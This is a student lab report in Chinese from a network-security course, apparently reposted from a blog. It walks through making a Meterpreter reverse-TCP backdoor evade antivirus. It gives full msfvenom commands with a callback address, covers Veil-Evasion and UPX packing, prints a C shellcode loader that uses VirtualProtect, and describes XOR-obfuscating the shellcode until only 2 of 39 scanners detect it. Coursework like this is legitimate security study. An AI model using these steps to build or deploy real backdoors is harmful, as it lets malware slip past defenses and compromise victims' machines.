Exp3 免杀原理与实践

一、实践内容

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
  • 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

  • 1.杀软是如何检测出恶意代码的?

  • 答:基于特征码的检测、启发式恶意软件的检测、基于行为的恶意软件检测。

  • 2.免杀是做什么?

  • 答:免杀是计算机恶意代码防止被反病毒软件发现并隔离删除的一种技术,通常为对恶意代码进行一些隐藏、包装等操作。

  • 3.免杀的基本方法有哪些?

  • 答:编码、加壳、隐藏核心特征码等。

三、实验过程

第一阶段

  • 1.首先我们打开一个老师提供的有多个AV......(anti virus)在线病毒查杀的网址。这个网址可以使用多个AV在线查杀一个不大于20mb的文件,我们可以通过查杀率来判断我们制作的后门程序是否可以实现免杀。http://www.virscan.org/

  • 2.因为本次实验要使用visual studio 2017,但是我的win7虚拟机版本不够,如果要安装vs2017要升级系统,为了避免麻烦,因此本次实验我选择在本机win10上进行操作。

  • 3.我们先将上次实验生成的后门程序拖到win10上,然而迅速被360安全卫士给隔离了,为了让我们能够将成程序放到网站上,所以我们将它添加为可信任。然后将这个backdoor.exe放到网站上查杀,结果是很可怕的,39个AV中有19个查到了这个后门程序中的恶意代码。

  • 4.此时我们需要对这个后门程序进行“改造”,这里参考老师提供的第一个方法,对后门程序进行编码。我们通过msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.18.129 LPORT=5313 -f exe > met-encoded.exe对后门程序进行一次重新编码,但是将编码后的后门程序拖入靶机的时候,360依然进行了隔离,同时网址查杀率还是19/39,没有什么变化。


  • 5.我们再将后门程序进行编码十次,结果与上者基本是相同的。

第二阶段

  • 1.通过实践表明,我们单纯地使用编码是无法改变一个后门程序的特征码,因此各种AV通过病毒库匹配就能轻易地查杀这个后门程序。因此我们准备使用veil-evasion生成一个不同的后门程序。首先进行veil的安装,我们通过sudo apt-get install veil就能进行安装,但是我在安装的过程出现了可能是linux源的问题(因此之前安装的时候总是报错,替换了源以后就没有这种报错)。因此在安装到出错的时候我选择了中止安装,先使用sudo apt-get remove veil将veil已安装的部分卸载,然后使用leafpad /etc/apt/sources.list修改kali的源,看了以后发现原来是我添加了两种不同的源,而且还不完整,最后我选择了kali的官方源,然后使用sudo apt-get upgrade进行更新。在之后的veil安装过程中虽然也有错误,但是没有严重的报错,最终成功安装。

  • 2.进入veil-evasion以后我们使用use c/meterpreter/rev_tcp.py进入后门程序的设置。与之前实验时一样,设置回传IP地址和端口号,最后输入generate确认设置,最后点击enter确认。


  • 3.接着我们将这个新生成后门程序(如果找不到后门可以看看上图中的存储地址)拖到win10上,第一时间没有被360发现,这时我们尝试回连,然而在运行后门程序的时候,360对它进行了隔离(毕竟目前国内第一AV)。我们选择信任该后门程序,再进行回连,发现回连成功。之后我们将该程序放入网站上进行查杀,发现查杀率有所降低,达到了8/39,说明veil生成的后门程序能有效地避免一些AV的查杀。

  • 4.我们接着尝试使用加壳来对文件进行免杀处理,在kali终端使用upx指令对.exe文件进行加壳处理,然而检杀结果是并没有什么卵用,依然是8/39的查杀率。


第三阶段

  • 1.最后我们使用老师推荐的msf生成的shellcode编写后门程序进行测试。首先我们使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.129 LPORT=5313 -f c来生成一段shellcode数组,这个数组是与回连地址与端口号有关的。

  • 2.通过老师给的实验指导书,我们使用vs2017对生成的shellcode数组与其回连的函数进行编译生成可执行的.exe文件,即等同于之前生成的后门程序。

#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5";int main()
{DWORD old = 0;BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);INT32 * addr;addr =(INT32*) &met;__asm;{call addr;}return 0;
}
  • 3.同样的,在第一时间我们的360并没有发现该后门程序,但是在尝试回连的时候发现被隔离了,我们将它添加到可信任,同时进行检杀,发现查杀率下降到了6/39,但是还是躲不过360的测试。


  • 4.最后我们使用老师在课上提到的使用字节异或隐藏shellcode数组,让AV搜索不到特征码,进行免杀处理。首先我们通过编写一个做异或的函数,并将生成的shellcode数组填入其中进行运算得到结果。将得到的结果调整格式,与shellcode数组的格式相同,填入之前的回连函数中,并将异或函数写入,在回连前通过异或运算转变为原shellcode数组实现回连。最后我们尝试回连的时候竟然发现......360终于放弃了抵抗,没有进行隔离,同时我将该.exe文件放到网站上去检杀,最终的查杀率是有不到5%,2/39,即只有两个AV查到了这个后门程序,虽然不完美,没有实现完全免杀,但是还是非常具有实用价值~最后在vs里做一个包装~嘿嘿嘿~

转载于:https://www.cnblogs.com/bonsai/p/8777695.html

20155313 杨瀚 《网络对抗技术》实验三 免杀原理与实践相关推荐

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

    <网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...

  3. 2018-2019-2 网络对抗技术 20165210 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165210 Exp3 免杀原理与实践 免杀的概述 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-Ant ...

  4. 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  5. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp3 免杀原理与实践 目录 0. 基础知识 1. 实验内容 1.1 方法 1.1.1 正确使用msf编码器 1.1.2 ...

  6. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  7. 2018-2019-2 网络对抗技术 20165303 Exp3 免杀原理与实践

    实验内容 一. 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分) ...

  8. 20164317《网络对抗技术》Exp3 免杀原理与实践

    一.实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程( ...

  9. 2018-2019-2 网络对抗技术 20165335 Exp3 免杀原理与实践

    一.免杀原理与基础知识: (1)杀软是如何检测出恶意代码的? 检测特征码:特征码就是一般程序都不会有的代码,而后门有的那种特别的数据,而一个程序,应用有这种代码,数据的话,就直接判定为恶意代码. 主流 ...

  10. 2018-2019-2 网络对抗技术 20165231 Exp3 免杀原理与实践

    实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcod ...

最新文章

  1. 桌面支持--ZWMECH软件卸载工具
  2. CH0103最短Hamilton路径 poj2288 Islands and Brigdes【状压DP】
  3. 数据结构课上笔记13
  4. 开启充电计划升级职业生涯,让我们相聚社科院杜兰金融管理硕士项目
  5. protocol buffer生成C语言的实现
  6. VS2015+MATLAB2016b混合编程
  7. Excel饼图中既显示百分比
  8. 寻找250(非数组求法)
  9. 圣地亚哥分校 计算机,美国加州大学圣地亚哥分校计算机科学专业.pdf
  10. 01-Intellij IDEA搭建SSM(SpringMVC+Spring+Mybatis+Maven)框架(下)
  11. Matlab-初级教程-系列1:matlab之入门教学视频-3 数组和矩阵分析3
  12. Mpls ldp router-id loopback0 force是什么意思
  13. Goouu-ESP32入门
  14. 在linux中配置编译u-boot方法,在ZC702上运行Linux(4)-编译和使用U-Boot Linux
  15. jupyter没有输出直接下一行
  16. 基于 VPX 总线的工件台运动控制系统研究与开发-DSP+FPGA硬件架构(一)
  17. 联想RQ940升级bios
  18. 必备Linux命令和C语言基础
  19. 数据结构与算法(较全)
  20. 轮播图中间图片大,两边图片小

热门文章

  1. 计算机网络的概念、功能、组成和分类
  2. pandas面板(Panel)
  3. java判断文件是否被占用_java判断一个文件是否正在被其他程序使用(调用)?...
  4. 马克·扎克伯格(Mark Zuckerberg)的第一幅作品成交价为30,201美元
  5. VUE 3文件上传 Change事件无效 和 unsupported media type 415
  6. 线性回归以及非线性回归
  7. Day9-Python文本数据(DataWhale)
  8. 玩转Safari:扩展插件说明
  9. linux 查找py文件命令_Linux文件查找
  10. 怎么做阿里巴巴国际站的测评?需要哪些技术?